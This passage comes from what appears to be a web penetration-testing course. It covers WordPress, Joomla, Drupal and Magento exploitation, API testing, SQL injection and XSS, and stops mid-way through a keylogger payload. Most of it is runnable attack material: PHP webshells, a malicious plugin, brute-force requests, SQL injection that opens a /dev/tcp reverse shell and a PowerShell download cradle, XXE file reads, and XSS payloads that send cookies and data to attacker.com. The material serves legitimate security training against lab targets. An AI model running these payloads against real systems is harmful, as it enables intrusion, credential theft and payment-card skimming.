# Returns "XML-RPC server accepts POST requests only" → enabled

# List available methods
curl -s https://target.com/xmlrpc.php -X POST -d '<?xml version="1.0"?>
<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'

# Brute force via multicall (test 100+ passwords in one request)
curl -s https://target.com/xmlrpc.php -X POST -d '<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params><param><value><array><data>
    <value><struct>
      <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
      <member><name>params</name><value><array><data>
        <value><array><data>
          <value><string>admin</string></value>
          <value><string>password123</string></value>
        </data></array></value>
      </data></array></value></member>
    </struct></value>
  </data></array></value></param></params>
</methodCall>'
```

Exploitation Paths to RCE

Path 1: Authenticated RCE via Theme Editor

```
1. Log in to wp-admin with any editor/admin account
2. Appearance → Theme File Editor (or Appearance → Editor)
3. Select a PHP file in an inactive theme (e.g., 404.php)
4. Insert: <?php system($_GET['cmd']); ?>
5. Save, navigate to: https://target.com/wp-content/themes/THEME/404.php?cmd=id
```

Path 2: Authenticated RCE via Plugin Upload

```
# Create a malicious plugin ZIP
mkdir malicious-plugin
cat > malicious-plugin/malicious-plugin.php << 'EOF'
<?php
/**
 * Plugin Name: Malicious Plugin
 * Version: 1.0
 */
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
EOF
zip -r malicious-plugin.zip malicious-plugin/

# Upload via: Plugins → Add New → Upload Plugin → Choose File → Install Now
# Activate, then access:
curl "https://target.com/wp-content/plugins/malicious-plugin/malicious-plugin.php?cmd=id"
```

Path 3: Vulnerable Plugin RCE (unauthenticated)

```
# Search for CVEs in installed plugins (from WPScan output)
# Example: File Manager plugin RCE (CVE-2020-25213)
nuclei -u https://target.com -t cves/2020/CVE-2020-25213.yaml

# Example: Plugin with arbitrary file upload:
# wp_ajax_nopriv_ hooks allow unauthenticated AJAX calls
# Vulnerable plugin might have: add_action('wp_ajax_nopriv_upload', 'handle_upload');
curl -s https://target.com/wp-admin/admin-ajax.php \
  -F "action=upload" \
  -F "file=@shell.php;type=image/jpeg"
```

Path 4: wp-config.php Backup Exposure

```
# Common backup locations
for path in wp-config.php.bak wp-config.php.old wp-config.bak wp-config.txt; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$path")
  echo "$path: $code"
done
# If 200: contains DB_HOST, DB_NAME, DB_USER, DB_PASSWORD → direct DB access
```

Path 5: LFI via Plugin

```
# Many vulnerable plugins have file inclusion:
# https://target.com/?page=../../../wp-config.php
# https://target.com/wp-content/plugins/vuln-plugin/include.php?file=../../wp-config.php
```

Hardened WordPress Testing

When WPScan shows no obvious plugins but you're authenticated as admin:

```
# Check wp-config.php for secrets via Directory Traversal (if other vuln found)
# Check for SQL injection in custom query parameters
# Check REST API with authentication
curl -s "https://target.com/wp-json/wp/v2/posts?per_page=100" -H "Authorization: Basic base64(user:pass)"

# Check for exposed debug.log
curl -s https://target.com/wp-content/debug.log

# Check for exposed uploads (no auth required for /wp-content/uploads/)
feroxbuster -u https://target.com/wp-content/uploads/ --listing-scan
```

Common Mistakes

- Only testing obvious plugins that WPScan lists as "vulnerable" and missing custom plugins not in the database.

- Not testing XML-RPC — it's disabled on some hardened installs but enabled by default, and allows rate-limit bypasses on brute force.
- Ignoring the REST API endpoint — `/wp-json/wp/v2/` often exposes users, posts, and custom post types without authentication.
- Only targeting the `admin` username — modern WordPress assigns random usernames; always enumerate first.

Real-World Usage

On real assessments, the most common WordPress compromise path is: WPScan identifies an outdated plugin with a known authenticated SQLi or file upload CVE → Nuclei confirms the CVE is present → exploit gives webshell → webshell reads wp-config.php → database credentials → potentially reused on SSH or cPanel → full server compromise. The plugin ecosystem is reliably the weakest link.

Guided Lab — Full WordPress Assessment

```
# Target: wpscanteam/vuln-wordpress-full Docker image
docker run -d -p 8081:80 wpscanteam/vuln-wordpress-full

# 1. Fingerprint
curl -s http://localhost:8081/readme.html | grep -i version
curl -s http://localhost:8081/wp-json/wp/v2/users

# 2. WPScan
wpscan --url http://localhost:8081 -e ap,at,au --plugins-detection aggressive

# 3. Brute force with discovered username
wpscan --url http://localhost:8081 -U admin \
  -P /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt

# 4. After obtaining credentials, get RCE via theme editor
```

Challenge Lab

Set up a WordPress instance with WP File Manager plugin version 6.0 (vulnerable to CVE-2020-25213). Using only unauthenticated techniques, achieve remote code execution and read the wp-config.php file. Document every step with the exact request/response showing exploitation.

Review Questions

1. Why is the plugin ecosystem WordPress's biggest attack surface?
2. What does XML-RPC multicall enable that normal login brute force cannot?
3. Name two methods to enumerate WordPress usernames without authentication.

4. What information does wp-config.php contain and why is its exposure critical?
5. What is required before you can use the WordPress theme editor for RCE?

Answers

1. WordPress core is regularly audited and patched, but 60,000+ third-party plugins are maintained by individual developers with varying security expertise — each plugin introduces its own attack surface, and many remain unpatched after vulnerabilities are discovered.
2. XML-RPC multicall allows testing hundreds of passwords in a single HTTP request, bypassing per-request rate limiting that would lock an account after 5-10 failed normal login attempts.
3. Author archive URL enumeration (`?author=1` redirects to `/author/username/`) and the REST API endpoint (`/wp-json/wp/v2/users`).
4. wp-config.php contains database hostname, database name, database username, and password — exposing it allows direct database access and often reveals authentication keys/salts used for session forgery.
5. Administrative access to the WordPress dashboard (wp-admin) — the theme editor requires admin-level authentication.

MODULE 05

Joomla, Drupal, and Magento Testing

Objectives

Assess three major CMS platforms beyond WordPress — Joomla (enterprise sites and government portals), Drupal (large-scale enterprise and academic sites), and Magento (e-commerce) — with platform-specific enumeration tools, known exploit paths, and authentication bypass techniques.

Theory

Each CMS has a distinct architecture, admin interface, and vulnerability history. Joomla historically suffers from SQL injection in core and components. Drupal is famous for "Drupalgeddon" (multiple remote code execution CVEs). Magento's attack surface is enlarged by payment processing integration, making it a high-value target with both technical and business-logic vulnerabilities.

Deep Technical Explanation

Joomla

Fingerprinting:

```
# Default admin URL
curl -s https://target.com/administrator/ -o /dev/null -w "%{http_code}"

# Version from meta or manifest
curl -s https://target.com/ | grep -i "joomla"
curl -s https://target.com/administrator/manifests/files/joomla.xml | grep "<version>"

# joomscan — the Joomla equivalent of WPScan
joomscan -u https://target.com
joomscan -u https://target.com --enumerate-components
```

User Enumeration:

```
# JSON API (Joomla 3.8+)
curl -s "https://target.com/api/index.php/v1/users?public=true"

# Username in author comments of articles (default behavior)
curl -s https://target.com/ | grep -i "author"

# Error-based: try login and observe message difference
```

Common Exploits:

```
# CVE-2017-8917 — SQL injection in Joomla 3.7.0 core
# Affects: com_fields component
sqlmap -u "https://target.com/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" \
  --risk=3 --level=5 --random-agent --dbs

# CVE-2023-23752 — Improper Access Check (Joomla 4.0.0 - 4.2.7)
# Leaks db credentials via unauthenticated API
curl -s "https://target.com/api/index.php/v1/config/application?public=true"
# Returns: database host, name, username, password in JSON

# Authenticated RCE via Template Manager (same as WordPress theme editor)
# Admin → Extensions → Templates → Edit → Add PHP shell to any template file
```

Brute Force:

```
# Joomla admin login
ffuf -u https://target.com/administrator/index.php -X POST \
  -d "username=admin&passwd=FUZZ&option=com_login&task=login&return=aW5kZXgucGhw" \
  -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -fc 200   # failed logins redirect back with 200; success redirects to 303
```

Drupal

Fingerprinting:

```
# Default login URL
curl -s https://target.com/user/login -o /dev/null -w "%{http_code}"

# Version from changelog (often world-readable)
curl -s https://target.com/CHANGELOG.txt | head -5
curl -s https://target.com/core/CHANGELOG.txt | head -5

# Generator meta tag
curl -s https://target.com/ | grep "Drupal"

# droopescan
droopescan scan drupal -u https://target.com -t 32
```

The Drupalgeddon Series:

```
# Drupalgeddon 1 — CVE-2014-3704 — SQLi → admin account creation
# Affects Drupal 7.x before 7.32
# One of the most famous web CVEs ever — exploitable with no authentication

# Drupalgeddon 2 — CVE-2018-7600 — RCE via form API injection
# Affects Drupal 6.x, 7.x before 7.58, 8.x before 8.3.9/8.4.6/8.5.1
python3 drupalgeddon2.py https://target.com
# Or: nuclei -u https://target.com -t cves/2018/CVE-2018-7600.yaml

# Drupalgeddon 3 — CVE-2018-7602 — another RCE, requires authentication
# Affects Drupal 7.x, 8.x (follow-on to Drupalgeddon 2)

# Check version and cross-reference all three:
curl -s https://target.com/CHANGELOG.txt | head -3
# "Drupal 7.31, 2014-09-17" → vulnerable to all three Drupalgeddon CVEs
```

Authenticated RCE — PHP Filter Module:

```
Drupal 7:
1. Log in as admin
2. Modules → Enable "PHP Filter" module
3. Add new Basic Page or Article
4. Set "Text Format" to "PHP Code"
5. Body: <?php system($_GET['cmd']); ?>
6. Save and access the node URL: /node/1?cmd=id

Drupal 8+:
- PHP Filter not available as built-in module
- Use: Admin → Appearance → Install theme → upload malicious .tar.gz with PHP shell
- Or: Admin → Extend → Install module → malicious module ZIP
```

Drupal User Enumeration:

```
# /user/N — Drupal profiles are public by default
for i in $(seq 1 10); do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/user/$i")
  echo "user/$i: $code"
done
# 200 = user exists, 403 = exists but private, 404 = doesn't exist

# REST API (Drupal 8+)
curl -s "https://target.com/jsonapi/user/user" 2>/dev/null | python3 -m json.tool | grep '"name"'
```

Magento

Fingerprinting:

```
# Default admin URL patterns
for path in admin admin123 backend store; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$path/")
  echo "$path: $code"
done

# Version from pub/static/version
curl -s https://target.com/magento_version

# magescan — Magento scanner
php magescan.phar scan:all https://target.com

# Wappalyzer detects Magento version inline
```

Magento-Specific Vulnerabilities:

```
# CVE-2019-8144 — Magento 2 unauthenticated Stored XSS + RCE chain
# CVE-2021-21024 — Magento 2 SQLi (CVSS 9.8)
# CVE-2022-24086 — Critical RCE in Magento < 2.4.3-p2

nuclei -u https://target.com -t cves/ -tags magento

# Magento 1 end-of-life (June 2020) — all unpatched installs are critical risk
# The Shoplift Bug (CVE-2015-1397) — unauthenticated admin account creation in Mg1
curl -s https://target.com/index.php/admin/Cms_Wysiwyg/directive/index/ \
  -d "directive[value]=a%2Fb%2Fc%2Fe&directive[type]=block"
```

Admin Brute Force:

```
# Magento admin login
ffuf -u https://target.com/admin/index.php -X POST \
  -d "login[username]=admin&login[password]=FUZZ&form_key=FORMKEY" \
  -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  -H "Content-Type: application/x-www-form-urlencoded" -fs FAILSIZE

# Note: Magento has CSRF form keys — capture first with:
FORMKEY=$(curl -s https://target.com/admin/ | grep "form_key" | grep -oP 'value="\K[^"]+')
```

Authenticated RCE via Custom PHP Layout:

```
1. Admin → System → Design → Schedule (Magento 1)
   Or: Admin → Content → Configuration → Design Configuration (Magento 2)
2. Add custom layout update XML containing PHP:
   <reference name="head">
   <action method="addItem">
   <type>skin_js</type><name>'; system('id');//</name>
   </action></reference>
3. Or use the Newsletter template injection (Magento 1):
   Use: {{block type="core/template" template="../../../../../../etc/passwd"}}
```

E-commerce Specific Test Cases:

```
- Price manipulation: modify item price in POST body during checkout
- Coupon abuse: can coupon codes be stacked or reused?
- Order amount manipulation: send negative quantity → credit to account
- Insecure direct object reference on orders: /sales/order/view/order_id/1001
- Exposed customer data in REST API without authentication
- Payment bypass: skip payment step by directly hitting order confirmation URL
```

Common Mistakes

- Missing CVE-2023-23752 on Joomla — this unauthenticated credential exposure is recent, high-impact, and very frequently present on unpatched Joomla 4 installs.
- Only checking for Drupalgeddon 1 and missing 2/3 — all three affect overlapping version ranges.
- Forgetting that Magento admin URL is customized on most hardened installs — always brute-force common admin paths.
- Missing the business logic test cases unique to e-commerce — price manipulation and order flow abuse are exclusively applicable to this platform type and manual-only.

Real-World Usage

Joomla and Drupal findings frequently appear on government websites, universities, and media organizations — high-visibility targets. Magento is the preferred target for Magecart-style card skimming attacks, where a single XSS or RCE leads to injecting JavaScript that exfiltrates payment card data from every customer's browser during checkout — a real-world attack pattern seen extensively in the wild.

Guided Lab — Drupal Drupalgeddon Assessment

```
# Target: vulnerable Drupal Docker image
docker run -d -p 8082:80 --name drupal droopy/drupal:vulnerable

# 1. Fingerprint version
curl -s http://localhost:8082/CHANGELOG.txt | head -3

# 2. Test Drupalgeddon 2
git clone https://github.com/ambionics/drupalgeddon3
python3 drupalgeddon2.py http://localhost:8082/

# 3. If older version — try Drupalgeddon 1 SQLi
sqlmap -u "http://localhost:8082/?q=node&destination=node" \
  --data "name%5B%230+AND+1%3D1%5D=bypass&name%5B%230+AND+1%3D0%5D=bypass&pass=bypass&form_build_id=&form_id=user_login_block&op=Log+in" \
  --level=5 --risk=3 --dbs
```

Challenge Lab

For each CMS (Joomla, Drupal, Magento), identify from the version alone which CVEs apply, whether they are pre-auth or post-auth, and what their impact is. Present this as a risk prioritization table you would include in a real report — without actually exploiting anything.

Review Questions

1. What does CVE-2023-23752 (Joomla) expose and what is its severity?
2. What three CVEs make up the "Drupalgeddon series"?
3. Why are Magento sites a high-value target for Magecart-style attacks?
4. How do you find the Drupal admin user without logging in?
5. What makes Magento price manipulation possible and what is the test for it?

Answers

1. It leaks database credentials (hostname, name, username, password) via an unauthenticated REST API endpoint (`/api/index.php/v1/config/application?public=true`). It is rated CVSS 7.5 High.
2. CVE-2014-3704 (SQLi → admin account creation, Drupal 7), CVE-2018-7600 (unauthenticated RCE via form API, Drupal 6/7/8), CVE-2018-7602 (authenticated RCE follow-on, Drupal 7/8).
3. A single web vulnerability (XSS or RCE) on a Magento store allows injecting JavaScript that captures payment card numbers from every customer's browser during checkout in real-time — high-impact, hard to detect, and directly monetizable.
4. By iterating `/user/N` paths — Drupal user profiles are publicly accessible by default, with user ID 1 typically being the administrator.
5. Magento (and many e-commerce platforms) transmit price data in POST parameters or hidden form fields that the server trusts — by modifying the price value in Burp Suite before the cart/checkout request is sent, the server may process the order at the attacker-specified price. Test by intercepting the add-to-cart or checkout POST and modifying the `price` or `unit_price` parameter value.

PART III

Vulnerability Deep Dives

REST & GraphQL APIs, SQL injection, XSS, file upload, SSRF, XXE, and SSTI.

MODULE 06

API Security Testing: REST, GraphQL, and SOAP

Objectives

Test REST APIs for authentication bypasses, IDOR, injection, and mass assignment; attack GraphQL for introspection abuse, batching attacks, and injection; exploit SOAP endpoints for XXE and injection; and use Burp Suite and dedicated API tools to thoroughly map and attack API attack surfaces.

Theory

APIs are the backbone of every modern application — and the most under-tested component on most engagements. REST APIs often implement the same logic as the web frontend but with weaker input validation (developers assume only the app calls them). GraphQL exposes a powerful query interface that frequently leaks the entire data schema via introspection. SOAP services are legacy but still widely deployed in enterprise, banking, and healthcare environments.

Deep Technical Explanation

REST API Testing

Discovery:

```
# Common API base paths
/api/ /api/v1/ /api/v2/ /v1/ /v2/ /rest/ /service/ /services/ /graphql /gql

# From JS bundle (SPA apps)
curl -s https://target.com/static/js/main.chunk.js | grep -oE '"\/api\/[a-z0-9/_-]+"' | sort -u

# From mobile app (decompile APK)
apktool d target.apk -o decompiled/
grep -r "https://api" decompiled/ | grep -oE 'https://[^"]+' | sort -u

# Swagger/OpenAPI spec exposure
for path in swagger.json openapi.json api-docs swagger/v1/swagger.json \
            api/swagger.json v1/api-docs swagger-ui.html; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$path")
  [ "$code" = "200" ] && echo "FOUND: $path"
done
```

REST API Authentication Testing:

```
# Test every endpoint without auth first
curl -s https://target.com/api/v1/users
curl -s https://target.com/api/v1/admin/settings

# JWT testing (see Module 12 for full JWT section)
# Swap Bearer token with another user's token
curl -s https://target.com/api/v1/user/profile \
  -H "Authorization: Bearer OTHER_USER_JWT"

# API Key exposure
# Check: response headers, HTML comments, JS source, error messages
curl -s https://target.com/api/v1/data -H "X-API-Key: test123" -v

# Remove auth header entirely — does endpoint still respond?
curl -s https://target.com/api/v1/admin -H "Authorization: "
```

Mass Assignment:

```
# Server auto-binds JSON body fields to object properties
# Normal: POST /api/user/update {"name":"John"}
# Attack: POST /api/user/update {"name":"John","role":"admin","balance":99999}

# Find extra fields by comparing API response fields to accepted input fields
# Any field present in GET response but not documented for POST is a candidate
curl -s https://target.com/api/v1/user/1 | python3 -m json.tool
# Then try sending those fields in a POST/PUT
```

IDOR on APIs:

```
# Numeric IDs
curl -s https://target.com/api/v1/order/1001 -H "Cookie: session=YOUR"
curl -s https://target.com/api/v1/order/1002 -H "Cookie: session=YOUR"

# UUIDs — not "security by obscurity"
# Predict next UUID via analysis, or find via other endpoints that leak them

# Burp Suite Intruder: iterate through IDs and compare response size
# Or use Autorize extension with two-account setup
```

HTTP Method Testing:

```
# Try all HTTP methods on each endpoint
for method in GET POST PUT PATCH DELETE HEAD OPTIONS; do
  echo -n "$method /api/v1/user/1: "
  curl -s -o /dev/null -w "%{http_code}" -X $method https://target.com/api/v1/user/1
  echo
done
# PUT/DELETE returning 200 when they should return 405 = privilege issue
```

Rate Limiting / Brute Force:

```
# Test OTP / verification code brute force
ffuf -u https://target.com/api/v1/verify -X POST \
  -d '{"code":"FUZZ"}' \
  -H "Content-Type: application/json" \
  -w <(seq -w 000000 999999) \
  -mc 200 -t 10

# Test for IP-based rate limit bypass headers
curl -s https://target.com/api/v1/login -X POST \
  -H "X-Forwarded-For: 1.1.1.1" \
  -d '{"user":"admin","pass":"wrong"}'
# Rotate X-Forwarded-For value to bypass IP-based lockout
```

GraphQL Testing

Detection and Introspection:

```
# Common GraphQL endpoints
for ep in graphql graphiql gql api/graphql query; do
  curl -s -o /dev/null -w "%{http_code}" "https://target.com/$ep"
  echo " → $ep"
done

# Full schema dump via introspection query
curl -s https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name type { name } } } } }"}'

# Use graphql-cop or InQL Burp extension for automated analysis
pip3 install graphql-cop --break-system-packages
graphql-cop -t https://target.com/graphql
```

Common GraphQL Vulnerabilities:

```
# 1. Introspection enabled in production (exposes full schema — medium finding)
curl -s https://target.com/graphql -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"query{__typename}"}'
# Returns "data":{"__typename":"Query"} → introspection works

# 2. Batching attack — brute force via array of queries in one request
curl -s https://target.com/graphql -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query": "{ user(id: 1) { name email } }"},
    {"query": "{ user(id: 2) { name email } }"},
    {"query": "{ user(id: 3) { name email } }"}
  ]'
# Bypass rate limiting by batching 1000 login attempts in one request

# 3. IDOR via GraphQL query (same concept, different syntax)
curl -s https://target.com/graphql -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: \"OTHER_USER_ID\") { email phone ssn } }"}'

# 4. SQL/NoSQL injection in GraphQL arguments
curl -s https://target.com/graphql -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users(name: \"admin\\\") { id password } }"}'

# 5. Deeply nested query (DoS via query depth abuse)
# Create a deeply nested query to exhaust server resources:
# { user { friends { friends { friends { friends { name } } } } } }
```

SOAP Web Service Testing

Detection:

```
# WSDL (Web Service Description Language) discovery
for path in ?wsdl ?WSDL wsdl service.wsdl api.wsdl; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$path")
  [ "$code" = "200" ] && echo "FOUND: $path"
done

# Parse WSDL to understand available operations
curl -s https://target.com/service?wsdl | grep -E "<operation|<message"
```

SOAP XXE Injection:

```
# SOAP requests are XML — inject XXE in parameters
curl -s https://target.com/soap/service \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -H "SOAPAction: \"urn:searchUser\"" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <search>
      <username>&xxe;</username>
    </search>
  </soapenv:Body>
</soapenv:Envelope>'
# If /etc/passwd content appears in response → XXE confirmed
```

SOAP SQL Injection:

```
# Inject SQL into SOAP body parameters
curl -s https://target.com/soap -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <getUser>
      <userId>1 OR 1=1--</userId>
    </getUser>
  </soapenv:Body>
</soapenv:Envelope>'
```

Common Mistakes

- Testing only the authenticated API surface and missing unauthenticated endpoints — always test every endpoint without auth first.
- Ignoring GraphQL introspection — it's enabled by default in most frameworks and reveals the entire data schema including field names that hint at sensitive data.
- Not testing HTTP method overriding — some APIs support `X-HTTP-Method-Override: DELETE` header to bypass method restrictions.
- Missing the mobile app as an API discovery source — mobile apps often call undocumented API versions with weaker controls than the web frontend.

Guided Lab — Juice Shop API Testing

```
TARGET="http://localhost:3000"

# 1. Find all API endpoints from JS bundle
curl -s "$TARGET/main.js" | grep -oE '"\/api\/[a-zA-Z0-9/_-]+"' | sort -u

# 2. Test unauthenticated access
curl -s "$TARGET/api/Users" | python3 -m json.tool | head -40
# Returns all users including admin? → Broken access control

# 3. IDOR on basket
curl -s "$TARGET/api/BasketItems/1" -H "Authorization: Bearer YOUR_JWT"
curl -s "$TARGET/api/BasketItems/2" -H "Authorization: Bearer YOUR_JWT"

# 4. Mass assignment
curl -s "$TARGET/api/Users/1" -X PUT \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_JWT" \
  -d '{"role":"admin"}'
```

Challenge Lab

Using only Burp Suite (no automated scanners), fully map the OWASP Juice Shop REST API: document every endpoint found, its HTTP method, authentication requirement, and data returned. Then identify and exploit one IDOR and one mass assignment vulnerability using only the Repeater module.

Review Questions

1. What is mass assignment and which request parameter typically reveals it?
2. Why is GraphQL introspection considered a security finding in production?
3. What makes SOAP uniquely vulnerable to XXE compared to REST/JSON APIs?
4. How does GraphQL batching bypass rate limiting?
5. Where are undocumented REST API endpoints most commonly discovered?

Answers

1. Mass assignment is when a server auto-binds all fields in a JSON/form request body to an object's properties — an attacker sends extra fields (like `role` or `balance`) not exposed in the UI but accepted by the server. It's revealed by comparing the fields in a GET response to those accepted in POST/PUT requests.
2. Introspection returns the complete schema including all types, fields, mutations, and queries — effectively giving an attacker a full roadmap of every data object and operation available, including sensitive ones not linked from the UI.

3. SOAP messages are XML, and XML parsers frequently have XXE enabled by default — external entity injection in any XML field can read local files or make internal SSRF requests. JSON (used by REST) has no entity concept and is not vulnerable to XXE.
4. GraphQL allows sending an array of multiple queries in one HTTP request — an attacker can batch 500 login attempts into one request, making per-request rate limiting ineffective since the rate limiter counts one request, not 500 attempted logins.
5. In bundled JavaScript files (SPA apps), mobile application binaries (decompile APK/IPA), Swagger/OpenAPI spec files left exposed on the server, and API documentation pages.

MODULE 07

SQL Injection: Complete Attack Reference

Objectives

Detect and exploit all SQL injection types — error-based, union-based, blind boolean, blind time-based, and out-of-band — across MySQL, PostgreSQL, MSSQL, and SQLite; automate with sqlmap while understanding what it does under the hood; and escalate SQLi to OS command execution where possible.

Theory

SQL injection remains one of the most impactful vulnerability classes despite being well-understood for 25 years. It persists because virtually every database-driven application has some input somewhere that touches a SQL query, and developer vigilance across a large codebase is imperfect. A confirmed SQLi vulnerability can yield: complete database dump, authentication bypass, file read/write, and often OS-level command execution.

Deep Technical Explanation

Detection

```
# Classic error-triggering payloads — one at a time, observe response change
'
''
`
')
"))
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
1' AND SLEEP(5)--     ← time-based blind indicator
1; SELECT SLEEP(5)--  ← stacked query
```

Union-Based SQLi (MySQL)

```
# Step 1: Find number of columns
' ORDER BY 1--          # no error
' ORDER BY 2--          # no error
' ORDER BY 3--          # error → 2 columns exist

' UNION SELECT NULL,NULL--

# Step 2: Find which column is reflected
' UNION SELECT 'a','b'--

# Step 3: Extract data
' UNION SELECT user(),database()--
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT group_concat(column_name),NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT group_concat(username,':',password),NULL FROM users--
```

Error-Based SQLi (MySQL)

```
# extractvalue — triggers error containing data
' AND extractvalue(1,concat(0x7e,(SELECT user()),0x7e))--

# updatexml
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--

# Example: dump first user's password hash
' AND extractvalue(1,concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e))--
```

Boolean Blind SQLi

```
# App returns different response for true vs false condition
' AND 1=1--   # returns normal page
' AND 1=2--   # returns empty/different page

# Extract data character by character
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(password,1,1))>64--
' AND ASCII(SUBSTRING(password,1,1))=97--

# Automate with Burp Intruder (Pitchfork) or sqlmap
```

Time-Based Blind SQLi

```
# When app gives identical response for true/false
' AND SLEEP(5)--                          # MySQL
' AND pg_sleep(5)--                       # PostgreSQL
'; WAITFOR DELAY '0:0:5'--                # MSSQL
' AND 1=IF(1=1,SLEEP(5),0)--

# Extract data via timing
' AND IF(SUBSTRING(database(),1,1)='m',SLEEP(5),0)--
```

Database-Specific Syntax Cheatsheet

	MySQL	PostgreSQL	MSSQL		
	`@@version`	`version()`	`@@version`		
	`database()`	`current_database()`	`db_name()`		
	`information_schema.schemata`	`pg_database`	`sys.databases`		
	`information_schema.tables`	`information_schema.tables`	`information_schema.tables`		
	`concat(a,b)` or `a,b`	`a		b`	`a+b`
	`--` or `#`	`--`	`--`		
	`SLEEP(5)`	`pg_sleep(5)`	`WAITFOR DELAY '0:0:5'`		

OS Command Execution via SQLi

```
# MySQL — write webshell via OUTFILE (requires FILE privilege)
' UNION SELECT "<?php system($_GET['cmd']); ?>",NULL INTO OUTFILE '/var/www/html/shell.php'--

# MSSQL — xp_cmdshell (requires sysadmin)
'; EXEC master..xp_cmdshell 'whoami'--
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
'; EXEC master..xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://192.168.56.1/shell.ps1'')"'--

# PostgreSQL — COPY TO/FROM PROGRAM (requires superuser)
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt'--
'; CREATE TABLE t(c text); COPY t FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/192.168.56.1/4444 0>&1"'--
```

sqlmap

```
# Basic scan
sqlmap -u "https://target.com/?id=1" --batch

# POST request
sqlmap -u "https://target.com/login" --data="username=admin&password=test" --batch

# With Burp-captured request file
sqlmap -r request.txt --batch

# Dump everything
sqlmap -u "https://target.com/?id=1" --dump-all --batch

# Get OS shell
sqlmap -u "https://target.com/?id=1" --os-shell

# With WAF evasion
sqlmap -u "https://target.com/?id=1" --tamper=space2comment,between,randomcase --batch

# Cookie-based injection
sqlmap -u "https://target.com/" --cookie="session=abc; id=1" -p id --batch

# JSON parameter injection
sqlmap -u "https://target.com/api/user" --data='{"id":"1"}' \
  -H "Content-Type: application/json" --batch
```

Guided Lab — DVWA SQLi

```
# Set DVWA security to LOW, log in, open SQLi module
# Capture request in Burp: GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

# Manual union:
# ?id=1' ORDER BY 3-- (error = 2 columns)
# ?id=1' UNION SELECT user(),database()--

# sqlmap
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=YOUR;security=low" \
  --dbs --batch
```

Module 8 — Cross-Site Scripting (XSS) and Client-Side Attacks

Objectives

Find and exploit reflected, stored, and DOM-based XSS; bypass common filters and WAFs; chain XSS to session hijacking, CSRF, and keylogging; and test for related client-side issues including CSRF, clickjacking, and open redirect.

Deep Technical Explanation

XSS Types

Reflected XSS — payload in request, reflected in response:

```
# Basic detection
https://target.com/search?q=<script>alert(1)</script>
https://target.com/search?q="><script>alert(1)</script>
https://target.com/search?q='><img src=x onerror=alert(1)>

# When angle brackets are filtered — attribute injection
https://target.com/search?q=" onmouseover="alert(1)
```

Stored XSS — payload persists in DB, executes for all visitors:

```
# Test in: comments, usernames, profile fields, product reviews, addresses
# Payload in name field: <script>alert(document.cookie)</script>
# Payload in bio: <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
```

DOM XSS — payload processed by JavaScript without hitting server:

```
# Source → Sink analysis
# Sources: location.hash, location.search, document.referrer, window.name
# Sinks: innerHTML, document.write, eval(), setTimeout(str)

# Test: https://target.com/#<img src=x onerror=alert(1)>
# Check if JS reads location.hash and writes to innerHTML
```

XSS Filter Bypass

```
// Basic < > filtered — attribute context escapes
" onmouseover="alert(1)
" autofocus onfocus="alert(1)

// HTML encoding bypass
&lt;script&gt; → still executes if context is innerHTML with HTML decoding

// Case variation
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>

// Tag alternatives when <script> is blocked
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>

// JavaScript protocol
<a href="javascript:alert(1)">click</a>

// WAF bypass — encoding
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>
<img src=x onerror=\u0061\u006C\u0065\u0072\u0074(1)>

// Template literal bypass
<svg><script>alert`1`</script>
```

XSS Impact Chain — Session Hijacking

```
// Payload to steal session cookie (if not HttpOnly)
<script>
fetch('https://attacker.com/steal?c='+document.cookie)
</script>

// If HttpOnly — steal via XHR to extract CSRF token or perform actions AS victim
<script>
fetch('/api/user/profile')
  .then(r=>r.json())
  .then(d=>fetch('https://attacker.com/data?d='+btoa(JSON.stringify(d))))
</script>

// Keylogger
<script>
document.addEventListener('keypress',function(e){
